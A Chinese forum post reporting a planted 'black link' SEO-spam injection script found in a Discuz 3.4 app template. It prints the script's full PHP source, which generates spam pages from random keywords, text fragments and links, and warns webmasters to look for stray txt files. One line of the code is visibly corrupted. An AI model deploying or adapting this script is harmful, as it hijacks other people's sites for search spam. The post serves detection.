忘记密码?

一键登录

草根吧

Discuz 3.4某APP模板漏洞利用报告:黑链随机关键字随机文章内容缓存注入脚本

查看: 214|回复: 0

Discuz 3.4某APP模板漏洞利用报告:黑链随机关键字随机文章内容缓存注入脚本

[复制链接]

3613

主题

7519

热度

4805

贡献

民审

Rank: 8Rank: 8

发表于 2018-2-7 11:30:21 | 显示全部楼层 |阅读模式
Discuz 3.4某APP模板漏洞利用报告:黑链随机关键字随机文章内容缓存注入脚本:
引入位置:
/static/space/t2/images/下面 *.txt 引用/转换文件
草根吧 Discuz 3.4某APP模板漏洞利用报告:黑链随机关键字随机文章内容缓存注入脚本 关键字,缓存,变量,漏洞,后门 站长头条 112936s1e01n1bjbp2ddef

  1. <?php
  2. @error_reporting(E_ERROR);
  3. @date_default_timezone_set("Etc/GMT-8");
  4. @ini_set('memory_limit', '2048M');
  5. $app_Jack_Tpl = new app_Jack_Tpl();
  6. $app_Jack_Tpl->loadTpl();
  7. $app_Jack_kwd = file(APP_JACK_KEYWORD);
  8. $app_Jack_atl = file(APP_JACK_ARTICLE);
  9. $app_Jack_core = new app_Jack_Core($app_Jack_kwd,$app_Jack_atl);
  10. $app_Jack_core->run();
  11. $app_Jack_var = $app_Jack_core->getStore();
  12. if(APP_JACK_CACHED=="cached"){
  13.         return "<explode>".app_Jack_Cache::encode($app_Jack_var)."</explode>";
  14.         exit();
  15. }
  16. $app_Jack_Tpl->extra($app_Jack_var);
  17. return $app_Jack_Tpl->show();

  18. class app_Jack_Tpl{
  19.         public $page;
  20.         public $domain;
  21.         public function loadTpl(){
  22.                 if(file_exists(APP_JACK_TEMPLATE)){
  23.                         $this->page = file_get_contents(APP_JACK_TEMPLATE);
  24.                 }
  25.                 else
  26.                 {
  27.                         die();
  28.                 }
  29.         }

  30.         public function extra($var){
  31.                 if(!$this->page){
  32.                         die("");
  33.                 }
  34.                 foreach($var as $k=>$v){
  35.                         $this->page = str_replace("{".$k."}",$v,$this->page);
  36.                 }
  37.                 $this->page = str_replace("{domain}","",$this->page);
  38.         }

  39.         public function show(){
  40.                 return $this->page;
  41.         }
  42. }


  43. class app_Jack_Core{
  44.         public $kwd = ""; //关键字数字
  45.         public $atl = ""; //文章数组 ""; /lic $kwdCount = 0;
  46.         public $atlCount = 0;
  47.         public $config = array();
  48.         public $store = array();
  49.         public $linkstyle = "";
  50.         //其中$domain_config

  51.         function __construct($kwd,$atl){
  52.                 $this->kwd = $kwd;
  53.                 $this->atl = $atl;
  54.                 //
  55.                 $this->kwdCount = count($kwd)-1;
  56.                 $this->atlCount = count($atl)-1;
  57.                 //
  58.         }

  59.         public function run(){
  60.                 $id = mt_rand(0,$this->kwdCount);
  61.                 $this->store['标题'] = trim($this->kwd[$id]);
  62.                 $this->store['非空格标题'] = str_replace(" ","",trim($this->kwd[$id]));

  63.                 //加入上下词语
  64.                 if($id==$this->kwdCount){
  65.                         $nextId = $id-2;
  66.                 }
  67.                 else
  68.                 {
  69.                         $nextId = $id+1;
  70.                 }

  71.                 $this->store['下关键字'] = trim($this->kwd[$nextId]);
  72.                 $this->store['上关键字'] = trim($this->kwd[$id-1]);
  73.                 //随机。
  74.                 for($a=0;$a<=20;$a++){
  75.                         $this->store['随机关键字'.$a] = trim($this->kwd[mt_rand(0,$this->kwdCount)]);

  76.                 }
  77.                 //随机文章
  78.                 for($a=0;$a<=20;$a++){
  79.                         $this->store['随机段落'.$a] = trim($this->atl[mt_rand(0,$this->atlCount)]);
  80.                 }
  81.                 for($a=0;$a<=10;$a++){
  82.                         $this->store['随机图片'.$a] = getImg();
  83.                 }
  84.                 $this->store['系统图片'] =getImg();

  85.                 $tempArray = array();
  86.                 //随机60范围内
  87.                 for($a=0;$a<30;$a++){
  88.                         $akid = $id+$a;
  89.                         if($akid>=$this->kwdCount){
  90.                                 $akid = abs($this->kwdCount-$akid);
  91.                         }
  92.                         $tempArray[] = $akid;
  93.                         $akid = abs($id-$a);
  94.                         $tempArray[] = $akid;                       
  95.                 }
  96.                 array_unique($tempArray);
  97.                 shuffle($tempArray);
  98.                 for($a=0;$a<=10;$a++){
  99.                         $this->store['相关关键字'.$a] = trim($this->kwd[$tempArray[$a]]);
  100.                         $this->store['相关关键字链接'.$a] = App_GetLink();
  101.                 }
  102.                 //
  103.                 $this->store['下关键字'] = $this->store['随机关键字1'];
  104.                 $this->store['上关键字'] = $this->store['随机关键字2'];
  105.                 //修复
  106.                 $this->store['下关键字链接'] = App_GetLink();
  107.                 $this->store['上关键字链接'] = App_GetLink();


  108.                 for($a=0;$a<=30;$a++){
  109.                         $this->store['随机关键字'.$a] = trim($this->kwd[mt_rand(0,$this->kwdCount)]);
  110.                 }

  111.                 //随机链接
  112.                 for($a=0;$a<=30;$a++){
  113.                         $this->store['随机链接'.$a] = App_GetLink();
  114.                 }
  115.                 $this->store['随机链接'.$a] = App_GetLink();

  116.                 for($a=1;$a<=15;$a++){
  117.                         $senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
  118.                         $this->store['随机句子'.$a] = self::getSentence(trim($senDB),6,12);
  119.                 }

  120.                 $this->store['混合标题'] = "";
  121.                 if(file_exists(APP_MIX_KWD_FILE)){
  122.                         $midKwd= file(APP_MIX_KWD_FILE);
  123.                         $getMidKwd = $midKwd[mt_rand(1,count($midKwd)-1)];
  124.                         $getMidKwd = App_Jack_article_auto::insert_tags($getMidKwd,1);
  125.                         $getMidKwd = str_replace("{tag}",$this->store['标题'],$getMidKwd);
  126.                         $this->store['混合标题'] = trim($getMidKwd);
  127.                 }

  128.                 if(file_exists(APP_JACK_DES)){
  129.                         $manDes = file(APP_JACK_DES);
  130.                         $manDesContent = trim($manDes[mt_rand(0,count($manDes)-1)]);
  131.                         $manDesContent = str_replace("{subtitle}",$this->store['标题'],$manDesContent);
  132.                         $manDesContent = str_replace("{标题}",$this->store['标题'],$manDesContent);
  133.                         $manDesContent = str_replace("{混合标题}",$this->store['标题'],$manDesContent);

  134.                         $this->store['手动描述'] = trim($manDesContent);
  135.                 }



  136.                 if(file_exists(APP_JACK_BIANLIANG)){
  137.                         $randVar = file(APP_JACK_BIANLIANG);
  138.                         $countRandVar = count($randVar)-1;
  139.                         for($a=1;$a<=10;$a++){
  140.                                 $tmpVar = $randVar[mt_rand(0,$countRandVar)];
  141.                                 $tmpVar = str_replace("{标题}",$this->store['标题'],$tmpVar);
  142.                                 $tmpVar = str_replace("{混合标题}",$this->store['混合标题'],$tmpVar);
  143.                                 $senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
  144.                                 $sen = self::getSentence(trim($senDB),6,12);
  145.                                 $tmpVar = str_replace("{随机句子}",$sen,$tmpVar);
  146.                                 $this->store['随机变量'.$a] = trim($tmpVar);
  147.                         }
  148.                 }


  149.                 if(file_exists(APP_JACK_BIANLIANG_B)){
  150.                         $randVar = file(APP_JACK_BIANLIANG_B);
  151.                         $countRandVar = count($randVar)-1;
  152.                         for($a=1;$a<=10;$a++){
  153.                                 $tmpVar = $randVar[mt_rand(0,$countRandVar)];
  154.                                 $tmpVar = str_replace("{标题}",$this->store['标题'],$tmpVar);
  155.                                 $tmpVar = str_replace("{混合标题}",$this->store['混合标题'],$tmpVar);
  156.                                 $senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
  157.                                 $sen = self::getSentence(trim($senDB),6,12);
  158.                                 $tmpVar = str_replace("{随机句子}",$sen,$tmpVar);
  159.                                 $this->store['随机变量B'.$a] = trim($tmpVar);
  160.                         }
  161.                 }



  162.                 if(file_exists(APP_JACK_BIANLIANG_C)){
  163.                         $randVar = file(APP_JACK_BIANLIANG_C);
  164.                         $countRandVar = count($randVar)-1;
  165.                         for($a=1;$a<=10;$a++){
  166.                                 $tmpVar = $randVar[mt_rand(0,$countRandVar)];
  167.                                 $tmpVar = str_replace("{标题}",$this->store['标题'],$tmpVar);
  168.                                 $tmpVar = str_replace("{混合标题}",$this->store['混合标题'],$tmpVar);
  169.                                 $senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
  170.                                 $sen = self::getSentence(trim($senDB),6,12);
  171.                                 $tmpVar = str_replace("{随机句子}",$sen,$tmpVar);
  172.                                 $this->store['随机变量C'.$a] = trim($tmpVar);
  173.                         }
  174.                 }


  175.                 for($ca=1;$ca<=10;$ca++){
  176.                         $this->store['随机数字'.$ca] = mt_rand(1,1000);
  177.                 }

  178.                 //随机文章
  179.                 $this->store['时间戳'] = date("Y-m-d");
  180.                 $this->store['时间戳精准'] = date("Y-m-d H:i:s");
  181.                 $this->store['精准时间'] = date("Y-m-d H:i:s");
  182.                 $this->store['倒数时间'] = date("Y-m-d H:i:s",mt_rand((time()-(1*24*3600)),time()));
  183.                 $timeStampArray = array();
  184.                 for($a=0;$a<10;$a++){
  185.                         $timeStampArray[] = mt_rand((time()-(1*24*3600)),time());
  186.                 }
  187.                 sort($timeStampArray);
  188.                 for($a=1;$a<=10;$a++){
  189.                         $timeid = $a-1;
  190.                         $this->store['精准时间'.$a] = date("Y-m-d H:i:s",$timeStampArray[$timeid]);
  191.                 }
  192.                 $this->store['自身链接'] = App_GetSelf();
  193.                 $this->store['中文时间戳'] = date("Y年m月d日");
  194.                 $this->store['中文精准时间'] = date("Y年m月d日 H点i分s秒");
  195.                 $article_auto = new App_Jack_article_auto();
  196.                 $article_auto->init($this->atl,$this->atlCount);
  197.                 $article_copy = $article_auto->autoArticle();
  198.                 $this->store['系统文章2'] = $article_copy;
  199.                 $this->store['系统描述2'] = $article_auto->getDes($this->store['标题'],$this->store['下关键字']);

  200.                 $this->store['系统文章2'] = str_replace("{title}",$this->store['标题'],$this->store['系统文章2']);
  201.                 $this->store['系统文章2'] = str_replace("{backword}",$this->store['上关键字'],$this->store['系统文章2']);
  202.                 $this->store['系统文章2'] = str_replace("{nextword}",$this->store['下关键字'],$this->store['系统文章2']);

  203.                 $array = array();
  204.                 $array[] = $this->store['标题'];
  205.                 $array[] = $this->store['下关键字'];
  206.                 $this->store['系统描述2'] = $article_auto->getDes($this->store['标题'],$this->store['下关键字']);
  207.                 $this->store['系统描述2'] = str_replace("{title}",$this->store['标题'],$this->store['系统描述2']);
  208.                 $this->store['系统描述2'] = str_replace("{backword}",$this->store['上关键字'],$this->store['系统描述2']);
  209.                 $this->store['系统描述2'] = str_replace("{nextword}",$this->store['下关键字'],$this->store['系统描述2']);
  210.                                
  211.                 ///论坛描述标签
  212.                 $this->store['论坛描述'] = '{title}{rand1}{nexttitle}';
  213.                 $this->store['论坛描述'] = str_replace("{title}",$this->store['标题'],$this->store['论坛描述']);
  214.                 $this->store['论坛描述'] = str_replace("{rand1}",$this->store['随机段落1'],$this->store['论坛描述']);
  215.                 $this->store['论坛描述'] = str_replace("{nexttitle}",$this->store['上关键字'],$this->store['论坛描述']);
  216.         }


  217.         public function getSentence($str,$min,$max){
  218.                 $str = app_Jack_String::filter_mark($str);
  219.                 $strlen = app_Jack_String::abslength($str);
  220.                 $randId = rand(0,$strlen-10);
  221.                 if($strlen < $max){
  222.                         return $str;
  223.                 }
  224.                 $newSen = app_Jack_String::substr($str, $randId, mt_rand($min,$max));
  225.                 if(app_Jack_String::strlen($str)==0){
  226.                         return $str;
  227.                 }
  228.                 return $newSen;
  229.         }

  230.         public function cut($file,$from,$end)
  231.         {
  232.                 $message=explode($from,$file);
  233.                 $message=explode($end,$message[1]);
  234.                 return $message[0];
  235.         }
  236.         public function getStore(){
  237.                 return $this->store;
  238.         }
  239. }

  240. class App_Jack_article_auto{
  241.         public $title = "";
  242.         public $nextTitle = "";
  243.         public $backTitle = "";
  244.         public $articleDb = ""; //文章库
  245.         public $articleCount = "";
  246.         public $des = "";
  247.         public $content = "";
  248.         public function init($articleDb,$articleCount){
  249.                 $this->articleDb = $articleDb;
  250.                 $this->articleCount = $articleCount;
  251.         }


  252.         public function autoArticle($min=3,$max=3){
  253.                 $article = $this->articleDb;
  254.                 $count = $this->articleCount;
  255.                 shuffle($article);
  256.                 $content = "";
  257.                 $norepeat = array();
  258.                 $returncontent = array();
  259.                 $maxPar = mt_rand(APP_JACK_MIN_PAR,APP_JACK_MAX_PAR);
  260.                 for($a=0;$a<$maxPar;$a++){
  261.                         $sence = rand(APP_JACK_MIN,APP_JACK_MAX);
  262.                         //开始组合句子...
  263.                         $parContent = "";
  264.                         for($b=1;$b<$sence+1;$b++){
  265.                                 $parContent .=trim($article[mt_rand(0,$count)]);
  266.                         }
  267.                         $returncontent[$a] = $parContent;
  268.                 }
  269.                 $returncontent[0] = self::insert_start($returncontent[0]);
  270.                 for($a=1;$a<$maxPar;$a++){
  271.                         $returncontent[$a] = self::insert_tags($returncontent[$a],2);
  272.                 }
  273.                 //传入第一段,用来穿插关键字用。
  274.                 $replaceTag = array("{title}","{backword}","{nextword}");
  275.                 $returncontent[0] = str_replace("{tag}","{title},{nextword}",$returncontent[0]);
  276.                 $this->content = $returncontent[0];

  277.                 for($a=1;$a<$maxPar;$a++){
  278.                         $count = substr_count($returncontent[$a],"{tag}");
  279.                         for($b=0;$b<$count+1;$b++){
  280.                                 $returncontent[$a] = preg_replace("/{tag}/",$replaceTag[mt_rand(0,2)],$returncontent[$a],1);
  281.                         }
  282.                 }
  283.                 $return = "";
  284.                 foreach($returncontent as $par){
  285.                                 $return .="<p>".$par."</p>\n";
  286.                 }
  287.                 return $return;
  288.         }

  289.         public function getDes($title,$nexttitle){
  290.                 $this->content = str_replace("{title}",$title,$this->content);
  291.                 $this->content = str_replace("{nextword}",$nexttitle,$this->content);
  292.                 $length = mt_rand(50,80); //至少20~30个字起,外加关键字长度,保证描述出现关键字
  293.                 $length += app_Jack_String::strlen($title);
  294.                 $length += app_Jack_String::strlen($nexttitle);

  295.                 return app_Jack_String::substr($this->content,0,$length+8);
  296.         }



  297.         public function insert_start($str){
  298.                 $times = 1; //关键字出现频率
  299.                 $keyword = "{tag}"; //要替换的关键字
  300.                 $strlen = app_Jack_String::strlen($str);
  301.                 for ( $i = 0; $i < $times; $i ++ )
  302.                 {
  303.                     $arr[] = mt_rand(0, 30);
  304.                 }
  305.                 $arr = array_unique($arr); //过滤数组重复元素
  306.                 sort($arr);
  307.                 $i = 0;
  308.                 $str_new = "";
  309.                 foreach( $arr as $v )
  310.                 {
  311.                         $str_new .= app_Jack_String::substr($str, $i, $v - $i) . $keyword;
  312.                         $i = $v;
  313.                 }
  314.                 $str_new .= app_Jack_String::substr($str, $i, $strlen - $i);
  315.         return $str_new;
  316.         }
  317.        
  318.         public function insert_tags($str,$times){
  319.                 $keyword = "{tag}"; //要替换的关键字
  320.                 $strlen = app_Jack_String::strlen($str);
  321.                 for ( $i = 0; $i < $times; $i ++ )
  322.                 {
  323.                     $arr[] = mt_rand(0, $strlen);
  324.                 }
  325.                 $arr = array_unique($arr); //过滤数组重复元素
  326.                 sort($arr);
  327.                 $i = 0;
  328.                 $str_new = "";
  329.                 foreach( $arr as $v )
  330.                 {
  331.                         $str_new .= app_Jack_String::substr($str, $i, $v - $i) . $keyword;
  332.                         $i = $v;
  333.                 }
  334.                 $str_new .= app_Jack_String::substr($str, $i, $strlen - $i);
  335.         return $str_new;
  336.         }

  337. }

  338. class app_Jack_Cache{
  339.         //写入缓存
  340.         public function write($file,$filename){
  341.                 return file_put_contents($filename,self::encode($file));
  342.         }
  343.        
  344.         public function read($filename){
  345.                 $content = file_get_contents($filename);
  346.                 return self::decode($content);
  347.         }

  348.         public function encode($file){
  349.                 return base64_encode(gzcompress(serialize($file)));
  350.         }

  351.         public function decode($file){
  352.                 return unserialize(gzuncompress(base64_decode($file)));
  353.         }
  354. }

  355. class app_Jack_String{

  356.         public function filter_mark($text){
  357.                 $array = array(";",";","【","】",",","。","、","?","》","《","|",":","“","”","=","-","~","’",'‘',"!","!","-","(",")","(",")","*","&","……","^","$","@","#");
  358.                 if(trim($text)=='')return '';
  359.                 $text = str_replace($array,"",$text);               
  360.                 $text = str_replace(" ","",$text);               
  361.                 return trim($text);
  362.         }

  363.         //字符串截取函数
  364.         public function substr($str, $start = 0, $length = 0) {
  365.     /* 该编码每个非英文字符的字节长度 */
  366.                 $encode = APP_JACK_CHARSET;
  367.                 $encode_len = $encode == 'UTF-8' ? 3 : 2;
  368.                 for($byteStart = $i = 0; $i < $start; ++$i) {
  369.                         $byteStart += ord($str{$byteStart}) < 128 ? 1 : $encode_len;
  370.                         if( @$str{$byteStart} == '' ) return '';
  371.                 }
  372.                 for($i = 0, $byteLen = $byteStart; $i < $length; ++$i){
  373.                         @$byteLen += @ord($str{$byteLen}) < 128 ? 1 : $encode_len;
  374.                 }
  375.         return substr( $str, $byteStart, $byteLen-$byteStart );
  376.    }


  377.         public function iconvStr($from,$to,$fContents)
  378.         {
  379.                         if(is_string($fContents) )
  380.                         {
  381.                                 if(function_exists('mb_convert_encoding'))
  382.                                 {
  383.                                         return mb_convert_encoding ($fContents, $to, $from);
  384.                                 }
  385.                                 else if(function_exists('iconv'))
  386.                                 {
  387.                                         return iconv($from,$to,$fContents);
  388.                                 }
  389.                                 else
  390.                                 {
  391.                                         return $fContents;
  392.                                 }
  393.                 }
  394.         }

  395.         public function strlen($str){
  396.                 if(APP_JACK_CHARSET=="UTF-8"){
  397.                         return self::strlen_utf8($str);
  398.                 }
  399.                 else
  400.                 {
  401.                         return self::strlen_gbk($str);
  402.                 }
  403.         }
  404.         public function strlen_gbk($str){  
  405.                 $len=strlen($str);  
  406.                 $i=0;  
  407.                 while($i<$len)  
  408.                 {  
  409.                        if(preg_match("/^[".chr(0xa1)."-".chr(0xff)."]+$/",$str[$i]))  
  410.                        {  
  411.                          $i+=2;  
  412.                        }  
  413.                        else  
  414.                        {  
  415.                          $i+=1;  
  416.                        }  
  417.                 }  
  418.                 return $i/2;  
  419.         }

  420.         public function strlen_utf8($str) {  
  421.                 $i = 0;  
  422.                 $count = 0;  
  423.                 $len = strlen ($str);  
  424.                 while ($i < $len) {  
  425.                 $chr = ord ($str[$i]);  
  426.                 $count++;  
  427.                 $i++;  
  428.                 if($i >= $len) break;  
  429.                         if($chr & 0x80) {  
  430.                                 $chr <<= 1;  
  431.                                         while ($chr & 0x80) {  
  432.                                                         $i++;  
  433.                                                         $chr <<= 1;  
  434.                                         }  
  435.                         }  
  436.                 }  
  437.                 return $count;  
  438.         }  

  439.         public function abslength($str)
  440.         {
  441.                 if(empty($str)){
  442.                         return 0;
  443.                 }
  444.                 if(function_exists('mb_strlen')){
  445.                         return mb_strlen($str,APP_JACK_CHARSET);
  446.                 }
  447.                 else {
  448.                         if(APP_JACK_CHARSET=="UTF-8"){
  449.                                 return self::strlen_utf8($str);
  450.                         }else
  451.                         {
  452.                                 return self::strlen_gbk($str);
  453.                         }
  454.                         return $b;
  455.                 }
  456.         }       
  457. }
  458. ?>
复制代码
可被引入挂载黑链,请站长引起重视,检查目标位置是否存在莫名txt文件。

帖子地址: 

本文来源于草根吧 www.caogen8.co,欢迎大家下载。
如果您没有贡献需要充值,可以直接在线充值,点击充值
如果你需要加入本站赞助VIP会员,可以直接在线开通,点击开通
如果找不到您要的资源,请搜索一下,点击搜索

发表回复

高级模式
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆 用百度帐号登录 一键登录:

本版积分规则

关闭

站长推荐上一条 /1 下一条

收藏帖子 返回列表 搜索
快速回复 返回顶部 返回列表